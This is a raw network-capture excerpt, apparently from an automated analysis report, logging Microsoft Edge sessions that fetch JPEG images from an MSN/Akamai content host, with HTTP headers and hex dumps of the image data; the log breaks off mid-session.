Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49937	104.117.182.59	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:04 UTC	634	OUT	GET /tenant/amp/entityid/BB1msB1O.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:17:05 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msB1O Last-Modified: Tue, 19 Nov 2024 22:44:18 GMT X-Source-Length: 73239 X-Datacenter: westus X-ActivityId: f3336ca9-748a-4ed3-b03a-7d5e3e1327e8 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 73239 Cache-Control: public, max-age=138535 Expires: Sun, 24 Nov 2024 22:46:00 GMT Date: Sat, 23 Nov 2024 08:17:05 GMT Connection: close
2024-11-23 08:17:05 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-23 08:17:05 UTC	16384	IN	Data Raw: b2 79 a9 b0 83 00 6a 32 e2 4e f3 f3 7c e3 cb 63 fd bb 26 65 40 49 ae 9a 9d ba 00 fa 9c b9 50 57 75 66 d9 05 24 62 19 18 e2 74 76 d9 ee 79 24 de 50 51 5c 4c a8 50 6e 09 07 32 66 9b 9c 68 56 2c a7 90 4f ee 2a 71 55 53 40 98 ed ae 83 57 e6 39 cb e2 fd cc 58 81 1a 53 21 b8 bb 15 cc dd e6 54 bc 50 94 2a aa d7 0a 46 47 68 d3 79 2f 8a 45 63 ab 8b d4 42 d5 f4 76 39 2e 54 df 57 78 a1 fb 48 f4 8e f8 fb 46 f2 5f aa b8 54 94 a9 22 26 a6 06 9c 3a a8 f4 f2 f6 d6 9b 29 b2 90 02 92 84 24 fb 20 9a 93 b8 a9 d6 53 67 94 5a 7b d5 92 a5 9d d4 92 75 27 21 2f 9d da cb aa 8b 09 ee 12 98 04 c4 89 f7 7c 9f 1f 92 bd 75 3c ca ad 2d 14 12 67 20 9d 29 39 8c a1 f4 95 75 58 d2 98 e0 23 e7 eb 76 dd b4 61 4a 04 21 44 41 39 d3 dd 2f 30 34 2f 78 c9 f0 79 eb ff 00 87 42 94 20 92 40 4e dd 7c Data Ascii: yj2N\|c&e@IPWuf$btvy$PQ\LPn2fhV,OqUS@W9XS!TPFGhy/EcBv9.TWxHF_T"&:)$ SgZ{u'!/\|u<-g )9uX#vaJ!DA9/04/xyB @N\|
2024-11-23 08:17:05 UTC	2318	IN	Data Raw: ac 27 ca 35 a3 96 d3 10 6d b8 85 43 b9 56 97 6c 8c 49 22 6a 24 3a 28 71 39 c3 ec ab 90 5a 05 92 48 1d ed 2b f6 ce f7 5f 35 c9 2f 94 5a 64 82 0e 44 39 70 9e 5c d8 82 fd 47 2d c9 22 e7 2e ab a6 a4 e5 b8 41 82 d7 3b c9 a2 c0 b2 a0 3e d4 95 d6 84 9c e1 fa bb 42 da 79 74 a5 34 4c 94 7f 55 41 3d 6f 13 96 db 24 45 ce fe 1c 8f 83 1e ed 77 ac fb 43 10 da 3f 57 da b9 e4 5d ad 47 a0 ae 9b 5f 9e 41 fc 37 33 6d 7e ca a1 5b 0d 0b f4 fc d2 25 2b e1 0a 1b 43 c6 5c c4 f9 4c 38 9c 7b c2 23 c9 13 f6 2e 3c 0e 4f 6e 61 43 d9 3d 8f 94 56 17 84 e9 79 11 b1 69 cb d4 f5 a2 f0 a2 8e 44 42 b8 28 3c 3a c4 a9 e6 c7 79 6a 47 19 e9 e0 f9 9c b7 33 09 03 54 67 fc 4e 5e a7 b0 dd 00 5d 41 3e 52 31 24 ed 7e 4d 49 52 54 4c c0 f9 3d e3 0e 79 cd 54 c7 ab d7 5e b8 8b 89 42 82 bd 13 20 0d fc 77 Data Ascii: '5mCVlI"j$:(q9ZH+_5/ZdD9p\G-".A;>Byt4LUA=o$EwC?W]G_A73m~[%+C\L8{#.<OnaC=VyiDB(<:yjG3TgN^]A>R1$~MIRTL=yT^B w
2024-11-23 08:17:05 UTC	16384	IN	Data Raw: de f2 97 ec 9c ed 9c 43 67 d1 d1 ca aa 79 7b d6 8f d8 ac 60 0d 41 a1 f5 bc d5 5f 49 bf 44 e6 ba c5 7d 9a d6 45 fe 42 d2 b5 48 28 3f db f4 76 72 37 7b db 58 35 28 23 fb ad e5 fe 17 83 92 21 56 f9 8b 26 b1 0b 4f b9 5f 27 47 29 73 bb 52 d2 3d 20 42 d3 e1 43 d8 f5 5c c7 ab 31 ff 00 33 e9 f6 76 b9 b4 05 61 57 b6 9e dd 5f 71 0b ef ac 0d f8 7b 63 d6 f9 77 88 ee 94 05 70 9c 69 fe 2a dc f0 f2 fc e7 74 ac 0a f4 4c f8 13 f2 2f 1c c5 78 6a e3 19 bf 2b 2c 2f 12 56 89 aa 0e 34 78 67 eb 7a 8a aa 46 48 b8 9c 73 ec 98 cb ae 8f 07 79 80 ca 60 52 27 83 a0 dc 90 ed 25 d3 4f 78 17 68 a5 54 52 68 93 bd 3c 5f 38 a8 0a 66 f1 dc be 52 60 31 52 54 a3 8c 02 45 27 83 e9 5f ab 94 ca 15 e3 91 b9 e5 29 97 ed 87 21 69 26 da 94 9c f3 a9 dd ab e5 f3 3c aa 53 79 40 51 20 8e d6 8c a0 9f 8e Data Ascii: Cgy{`A_ID}EBH(?vr7{X5(#!V&O_'G)sR= BC\13vaW_q{cwpi*tL/xj+,/V4xgzFHsy`R'%OxhTRh<_8fR`1RTE'_)!i&<Sy@Q
2024-11-23 08:17:05 UTC	16384	IN	Data Raw: d4 ba a5 24 a9 49 cc 53 16 ee 00 fb df 3c 9c 42 6a a0 92 68 28 92 77 7a f7 97 41 b9 dc db 3d e2 92 27 d0 42 44 c5 73 57 17 aa 4b 74 95 7b 1a e2 98 46 60 6b eb 3e e7 4a ee 04 12 13 fd c7 44 ee 9d f1 a0 7c cb 01 7d e9 5e 48 34 95 74 f7 3b ff 00 0e 6e 95 a2 4a 11 e9 15 1c d4 ad 33 76 92 ec 2a bc a5 8e f5 00 a9 5e 8c e6 13 c4 e9 2e 81 73 f1 64 db 04 80 91 4d e4 fd 5d e8 41 b5 65 76 ad f9 94 a3 e6 56 83 d4 e9 b3 ca 9b 69 04 2c 05 95 6d 90 f5 b7 f2 67 7f e6 db 70 84 da 4a 48 a8 4e 18 9c 86 dd 54 5f 19 6b 4e 34 79 3d 18 84 cc 0f 1d 5f a3 29 4a e0 ee 14 c5 49 3f 37 c1 55 84 77 f5 2a 89 93 3e 92 8e e0 1c 89 27 85 7c c5 cb 97 0c 93 1b 1e 20 a5 91 dd 26 80 99 3b c9 e2 fb 69 1f 89 ef 16 94 e0 c9 20 e6 63 86 92 d8 e5 d3 64 27 21 b9 79 99 dc 06 a7 b1 ea ca b7 00 5b 51 Data Ascii: $IS<Bjh(wzA='BDsWKt{F`k>JD\|}^H4t;nJ3v^.sdM]AevVi,mgpJHNT_kN4y=_)JI?7Uw>'\| &;i cd'!y[Q
2024-11-23 08:17:05 UTC	5904	IN	Data Raw: 0d d2 ea 58 99 b9 db e0 db ae 66 db 07 18 1b 90 c5 bc d9 0d c9 69 b6 43 f0 6d 8b 8c 82 90 e4 86 2d d5 81 4b 6c 1b 64 14 97 25 8b 8c 1c b4 dd 1a 60 9c 97 1c a6 e6 50 b5 5d cd f8 39 3c 3d ec d2 4c 68 c0 a8 7b 2c 89 07 ed 6b bc 19 11 1b 03 2f a7 ea 09 e1 1e 21 96 13 a2 bf c4 e6 34 ef 3d 4e 19 54 42 24 6f a8 71 ad fd bd db d1 63 99 50 94 04 ab 62 d3 3d 58 a5 ea 45 9f 88 a7 24 dd fe 94 9f 79 78 6c f2 c9 57 a5 89 27 4c 24 17 ea ac a9 40 01 87 14 6a 52 67 c4 a4 3c cb 95 c7 6f 5d bf a8 05 cb e9 81 71 55 d5 31 5e ac 4e e4 5c 56 30 02 64 1c d4 48 4c 78 47 cd ea 29 50 af 77 64 f8 a8 9e d9 60 84 83 38 87 86 14 80 36 50 38 cb 42 a2 2a 7e 6f 31 da da d5 48 4c f5 fd 1e 6c 57 37 0e b1 ea 70 02 d4 f0 ad 79 8a 9e b2 cd 53 32 60 f4 d8 f0 dc 32 69 03 a6 c7 b8 62 c7 8b 71 f0 Data Ascii: XfiCm-Kld%`P]9<=Lh{,k/!4=NTB$oqcPb=XE$yxlW'L$@jRg<o]qU1^N\V0dHLxG)Pwd`86P8B*~o1HLlW7pyS2`2ibq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	49938	104.117.182.59	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:04 UTC	634	OUT	GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:17:05 UTC	522	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA11MSkH Last-Modified: Wed, 20 Nov 2024 11:33:41 GMT X-Source-Length: 293132 X-Datacenter: northeu X-ActivityId: 36c75023-5862-459d-98a7-1b0518594608 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 293132 Cache-Control: public, max-age=184620 Expires: Mon, 25 Nov 2024 11:34:05 GMT Date: Sat, 23 Nov 2024 08:17:05 GMT Connection: close
2024-11-23 08:17:05 UTC	15862	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-23 08:17:05 UTC	16384	IN	Data Raw: 4d fc ab 26 f3 f4 a4 69 4b 80 a9 51 5a 4f 81 92 a4 15 1c 64 7d ab 6e 64 d8 52 68 23 71 f5 15 95 c1 a5 6c d6 0d c7 19 0c cb 00 29 58 04 82 35 33 6f bf c6 a4 c9 53 0d 28 d5 e7 36 f7 b3 66 24 b0 65 a0 d5 79 4e ca ac 0f f1 d4 47 cb 27 f5 fd 6a 7a 64 0a 7e 6f 0a c2 9a a7 6d e7 ad 1a 5c 2f a1 9e af 90 8e 0d 8d b6 e8 ac fb cb a0 b9 ac ea 87 5d ba fd ce bd 01 0f a7 ae 06 37 22 e1 10 a4 30 d4 93 f3 4f 21 48 80 38 fc 28 75 72 76 ef a5 6d ea 1e 9b ba 19 bc 25 c0 8f 07 8c e5 84 72 a6 d5 c0 fe 2b 1f da 40 8f 88 a5 51 48 1e 97 fd 46 12 c0 e2 2c 18 15 d4 1a 6d 1f 12 4f 44 b6 d8 01 a4 89 e7 02 3e 14 d2 aa 76 09 c6 6e be a4 b3 9e b4 3d d0 d1 69 6d 6c 6f 23 67 65 55 2a a2 57 7d ec 40 06 c6 fa 4f 08 d6 a3 c9 26 ff 00 5a 04 54 35 39 5b 79 d3 d7 fc fe 46 e6 ab a0 ea d8 23 a1 Data Ascii: M&iKQZOd}ndRh#ql)X53oS(6f$eyNG'jzd~om\/]7"0O!H8(urvm%r+@QHF,mOD>vn=imlo#geU*W}@O&ZT59[yF#
2024-11-23 08:17:05 UTC	2326	IN	Data Raw: 1d 42 72 ea 3e ae cb 15 1b 59 a2 21 51 37 96 31 36 31 f1 fe 95 49 94 2a a9 53 25 38 95 b3 73 02 f7 8f 8d 73 b6 95 52 ea 44 d3 b8 f5 06 f3 b8 f4 b3 e4 41 7b 7c b7 b4 de 20 5f f4 b9 f2 a6 f1 e6 ca ac a5 48 95 ea 55 e0 a3 fd dc c4 f0 34 06 d2 79 c6 37 1f b9 08 ce 32 53 dd 57 90 7e 07 e3 90 59 71 36 d4 05 76 c0 81 a8 13 73 79 13 27 5f 4a 79 99 0e 41 93 31 f7 42 11 20 23 00 b7 9d b0 63 a4 dc 6b 42 8a 8c a4 e9 e7 cf f4 11 5a 8d 46 2a 2f cb 56 fc b6 af 20 f4 fe 3a 04 4c 98 71 e3 21 0a 64 b8 b3 02 a7 a7 9f a8 a6 bb ef 64 c3 63 d8 24 4c 20 8d 49 b7 97 9d 69 d1 e4 5f f5 f5 e6 db c7 52 68 e3 23 a6 0b b4 c0 3b 8c 8c 90 5b e6 8d b0 09 81 3a 9d 05 a8 28 71 a0 05 99 8d e0 85 24 12 0e b7 fa 89 f8 53 d6 99 2a e4 77 37 a9 f0 48 c5 6a 26 a4 9e 7e 45 69 84 88 96 53 d4 66 d3 Data Ascii: Br>Y!Q7161IS%8ssRDA{\| _HU4y72SW~Yq6vsy'_JyA1B #ckBZF/V :Lq!ddc$L Ii_Rh#;[:(q$S*w7Hj&~EiSf
2024-11-23 08:17:05 UTC	16384	IN	Data Raw: f5 70 83 23 89 b1 bd 4f ee 77 b6 41 db bb 97 52 61 a0 41 9d 63 97 a4 7e b4 1e 58 eb 8b a2 a7 82 71 82 5e 05 68 0e a7 6e 46 76 00 dc 02 4d f5 1c 08 b4 53 5d b3 10 d9 31 62 3b 91 34 7f 95 c1 1c 35 21 88 1c 44 69 44 97 e4 2b d9 bf e8 77 2c a3 be e6 4c f8 f7 3e 22 84 a3 29 50 26 e0 6a a4 9f eb 4c b3 3a c3 cf b8 a4 30 26 c4 18 d0 89 d4 6b 48 92 4f 9d ce 5d 38 2e 45 67 39 db ad d2 47 49 02 48 f8 19 a6 56 06 52 09 80 ac 61 74 b1 1b b8 1e 24 fa 51 9e e2 ec 2b 3b 20 bb b9 8c 56 81 be 24 c5 86 86 fe 35 4f b9 0b b2 4f 23 62 7c 3e f1 4d 11 22 71 c4 95 54 65 75 de 72 0b 41 8e a5 dc 3c 62 60 fa 57 bd b2 ae d7 1b 60 ed b4 9f a5 fc 68 a4 60 db a1 99 2b b8 60 32 1d 84 15 1b 63 c6 39 f0 99 e3 44 7c 4c c8 84 0d 37 6e 1c 24 1a a7 11 64 bc 33 eb 04 9f f7 5e 2b e5 d2 6c 7a 87 Data Ascii: p#OwARaAc~Xq^hnFvMS]1b;45!DiD+w,L>")P&jL:0&kHO]8.Eg9GIHVRat$Q+; V$5OO#b\|>M"qTeurA<b`W`h`+`2c9D\|L7n$d3^+lz
2024-11-23 08:17:05 UTC	16384	IN	Data Raw: c6 dc e8 d0 e4 58 ac f3 83 a1 ca cf b1 d1 8a 6d 21 fe e6 19 77 5f 94 1f 5d 6b 19 11 54 18 d2 07 1f a5 6c 07 18 d1 a9 93 4a 44 65 10 cc 42 92 01 03 49 b9 d3 9d 60 b1 56 30 62 87 dd bc 51 7b 8a ea ef d8 cf 3d 86 91 b5 01 46 ed db 49 3f 6f 10 60 50 36 31 2d 69 22 f7 92 7e f1 40 d4 ee b9 5b 91 b5 4b 26 7b f7 f0 56 38 73 29 27 71 7f 52 4c 7f 4a 11 c6 c0 c9 f2 1a 58 e9 5c be ad 97 e6 27 0b 81 16 7f 82 cb 1b 0c 6e 05 6f e5 11 7f 3f ca 95 d9 b1 77 0b 5f 4d 47 c0 7e b6 a1 b8 e5 d9 a1 4b 67 93 ab 92 ab 7c e4 61 61 55 98 89 20 e8 67 4a f3 b7 0a db c3 74 90 35 b4 7c 6a c5 e0 46 aa 9a cf ea 32 fa 97 22 e9 ac a3 c7 ce 5a 36 af af 0f f5 a2 fb 9b 74 44 32 23 79 04 7d 01 8a 69 fd 58 e8 01 aa c5 bf 41 2a 9f 23 71 81 36 c9 b7 42 75 d6 37 44 f0 e1 4c e5 54 22 d3 f2 8d 7d 2e Data Ascii: Xm!w_]kTlJDeBI`V0bQ{=FI?o`P61-i"~@[K&{V8s)'qRLJX\'no?w_MG~Kg\|aaU gJt5\|jF2"Z6tD2#y}iXA*#q6Bu7DLT"}.
2024-11-23 08:17:05 UTC	7952	IN	Data Raw: 1a be 53 33 ac 78 28 66 cb ef 38 44 0b 22 43 38 86 58 1f db 6e a3 16 be a6 97 4c a0 b4 13 ec 82 02 9d ab 68 1e 15 9a 31 6b ea 93 74 eb 4c 78 77 e7 dc d0 d5 66 93 7b 1b 39 6b f4 00 bb 99 c8 4e f8 28 44 3b f2 64 72 22 5c db 6f 0d a0 68 3c 2d 1c ab 19 65 f3 e2 0b d6 16 22 d1 31 7f 31 e2 69 3b 2d b9 3c 25 15 b2 e6 fc 8c a4 a3 09 49 fd 3f 95 9a af 53 cb 26 ac 59 40 e2 ed 9d 71 e2 76 23 6a 6b d2 00 31 a0 e3 7f a9 e3 51 33 b6 47 72 5f 59 d3 82 f8 01 c2 ae b7 76 ad fb 05 8c d4 95 dd a0 ff 00 4c 9f 3b 6f c1 89 cd c9 db 19 ee 7b 5f f1 d5 08 70 db 80 24 7f 6c f0 27 43 6b da a5 99 9a e8 cb 50 44 6a 94 34 a5 93 36 ab 3a 4c 5d d8 4e dc a9 c8 ac 49 58 94 dd 0a 0b 12 a6 63 53 7e 33 c6 95 1b 19 31 63 29 a8 d5 57 a9 8f 85 c4 f2 9f 85 64 94 5b ba 8b f8 d7 ba 7e 84 b9 dc 9f Data Ascii: S3x(f8D"C8XnLh1ktLxwf{9kN(D;dr"\oh<-e"11i;-<%I?S&Y@qv#jk1Q3Gr_YvL;o{_p$l'CkPDj46:L]NIXcS~31c)Wd[~
2024-11-23 08:17:05 UTC	16384	IN	Data Raw: fa 81 a4 74 fe ee 0f 71 53 03 14 c6 d8 c8 3b 6c db 94 92 09 26 0e e6 d3 85 73 61 bb 74 ca a0 ae 46 00 c3 03 1f 48 37 af 3d a9 7e e9 2b 69 e2 f3 87 fc 1b f4 f7 1c 5e 62 9e cd 5f e6 6a 96 86 fe 9e 2b e6 65 28 e4 ee 16 54 14 38 c4 db a6 6d ad da 49 3c 09 3a d3 e3 32 12 83 68 18 d5 80 db 00 5d bc 22 4f 8d c7 ad 01 76 f0 dd ea f1 66 58 c2 59 6d dc 9a e6 f6 41 70 25 9c de 56 5c a0 86 31 37 90 4b 02 c3 43 16 23 ef 6a ad de 0e db 1a b2 a2 db 76 ad c4 af 01 03 8e 82 2d 1c 6b d2 8d c5 a6 b6 db 8c 74 01 da d5 27 97 b1 dc f2 36 0e 53 26 25 58 50 d2 c3 52 34 f2 35 e0 82 dc bd 2b d3 8c 9b ce c7 56 04 14 68 e3 6c ea 85 14 48 07 79 d0 4c da 4e 92 78 56 71 fc ff 00 86 e4 7f da 07 96 b1 42 d4 bb 6d db e7 8d ce 92 c7 d4 97 b0 c2 65 0e 76 e8 72 2b 60 db 2d 3b 92 f1 04 6a 3c Data Ascii: tqS;l&satFH7=~+i^b_j+e(T8mI<:2h]"OvfXYmAp%V\17KC#jv-kt'6S&%XPR45+VhlHyLNxVqBmevr+`-;j<
2024-11-23 08:17:05 UTC	16384	IN	Data Raw: 12 d2 0f 23 5c df ed 9d c6 7c fd ca 7b b2 57 db ca 36 b3 8b 10 aa 0b 40 bd c5 ae 3d 28 55 49 96 5c 7c 0d 5b 82 86 19 cf 77 b9 72 9c 86 41 50 49 7d a0 9d 92 78 c5 cc 11 57 bf 75 ed b2 6f 5b 08 2d b7 a6 22 5a 36 a4 fa 68 79 51 05 89 1b b1 e4 b7 39 52 08 20 34 6e 59 0d 7b 19 e1 cb 4a eb fb 0f db bb 83 bb dc 8c 71 b8 aa 95 5e a0 d6 2c a5 81 98 8e 1f 6d 50 6d 99 f8 08 95 9c 94 39 da 2f 17 23 5e 93 cf 95 77 3d c6 10 72 1c 49 8d d1 31 0b 2a 86 66 76 37 be d8 13 bb 6c dd 87 95 16 c4 be b5 90 61 1c 3e af 00 7b 54 c3 db f6 ed d4 ab 99 f6 06 07 6b 6d 59 1d 44 1f 94 cd c0 e7 45 c3 80 f7 29 8f 17 b6 a5 f7 b3 3a 91 04 ec 6d 64 f2 22 fb a2 66 2a f2 fc 64 66 eb f2 1a b0 3b e0 7b ba 67 6e c3 3c a9 ba 00 05 88 86 33 32 46 f9 02 e2 6c 2b df dc 91 97 b4 18 82 e5 f7 72 1d 4c Data Ascii: #\\|{W6@=(UI\\|[wrAPI}xWuo[-"Z6hyQ9R 4nY{Jq^,mPm9/#^w=rI1fv7la>{TkmYDE):md"fdf;{gn<32Fl+rL
2024-11-23 08:17:05 UTC	7952	IN	Data Raw: 04 dc 37 ed 5d c0 72 00 c1 e5 6f 5a a3 dd f7 45 59 15 a3 64 58 6c 20 c1 5f 18 3e 9c 22 89 49 2f 50 4d 39 2a 5e 0b 24 96 cc 79 4b 6e a4 1c 39 b7 e5 41 71 d5 c7 85 53 ec dd 5b 3e 31 ed a0 05 84 9e 22 7e 83 c8 5e b5 28 d3 40 63 16 9a b6 c0 c2 57 24 3c 2e f8 28 13 6c 81 81 82 7a 0a e9 3e d9 04 fe 93 46 74 5c 23 6e e3 3d 65 64 48 80 00 83 e2 60 d6 f6 0e ec 3e ec 6a 39 fc ea 5d a4 c3 fe 1c 82 4e dd a2 62 6d ac 70 af 90 9c 59 37 00 4c 6e 8f 8e a0 c4 7c 68 13 95 56 6b ea ae 2e ff 00 82 77 a3 ae 35 75 93 37 77 61 a4 8d a6 5c 63 18 1d 0a ca a4 49 e2 dc 8a 91 a7 32 66 92 28 32 f5 1d a8 41 e0 0b 03 27 59 13 79 b7 8d 65 9a 7a 9f ee 6b 1f 85 e4 7b 7d bc 2b 9f ab 4a be 3b 19 65 2b f8 15 af 89 4f f6 fd a7 b8 41 63 79 dc 27 58 e1 e7 5b c4 53 b7 71 b4 b3 1d ca 49 d1 67 5d Data Ascii: 7]roZEYdXl _>"I/PM9*^$yKn9AqS[>1"~^(@cW$<.(lz>Ft\#n=edH`>j9]NbmpY7Ln\|hVk.w5u7wa\cI2f(2A'Yyezk{}+J;e+OAcy'X[SqIg]
2024-11-23 08:17:05 UTC	15060	IN	Data Raw: 38 02 68 6e 66 69 55 2c 25 6d 07 e3 84 2a a8 e1 2b 63 f1 b0 d6 39 60 40 62 aa 38 0b 5f 99 d2 a4 e4 cb 00 01 c4 f1 fc a8 2d 75 ab 2e 96 de 7e 45 b9 71 7f 00 5f 55 e5 fc 0a 98 9f 1a 23 17 81 92 66 4b 78 f8 19 a9 59 ac a1 45 a4 dc c0 d2 a5 05 e0 22 42 f1 82 b2 77 09 ee 0e ad df c5 76 83 f5 27 87 de 6a 2e 37 0a e0 c9 b9 82 4f af 0e 54 94 46 db 0a b0 67 b6 f6 28 be 4d 8c 58 00 7a b4 3a 79 d0 cb 24 90 d3 af 3f d6 a7 38 07 25 2b c5 07 ba 03 2d 43 50 fd c9 04 ce 42 20 6e 98 0b e0 a3 4f 85 64 f7 2b 8b a5 45 b4 03 49 1e 97 8a ea e9 84 05 76 e5 6e dd fe 43 b7 a8 02 83 ea 7b 95 15 09 12 58 6e 31 04 c1 e5 e9 e3 14 12 37 c3 78 90 42 e8 a4 5e 27 d2 92 53 b7 4a 9f 56 c2 68 c8 9d c9 53 d2 96 7a 8c e0 db bb c0 56 67 62 49 3d 13 d4 04 0b 2d b8 f8 c1 8a 59 b2 38 2c ac 05 ae Data Ascii: 8hnfiU,%m*+c9`@b8_-u.~Eq_U#fKxYE"Bwv'j.7OTFg(MXz:y$?8%+-CPB nOd+EIvnC{Xn17xB^'SJVhSzVgbI=-Y8,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49936	104.117.182.59	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:04 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:17:05 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 20 Nov 2024 06:31:45 GMT X-Datacenter: northeu X-ActivityId: d6b39d3f-d287-49b5-a5be-b8a97df370ee Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO5 X-Source-Length: 76988 Content-Length: 76988 Cache-Control: public, max-age=166392 Expires: Mon, 25 Nov 2024 06:30:17 GMT Date: Sat, 23 Nov 2024 08:17:05 GMT Connection: close
2024-11-23 08:17:05 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 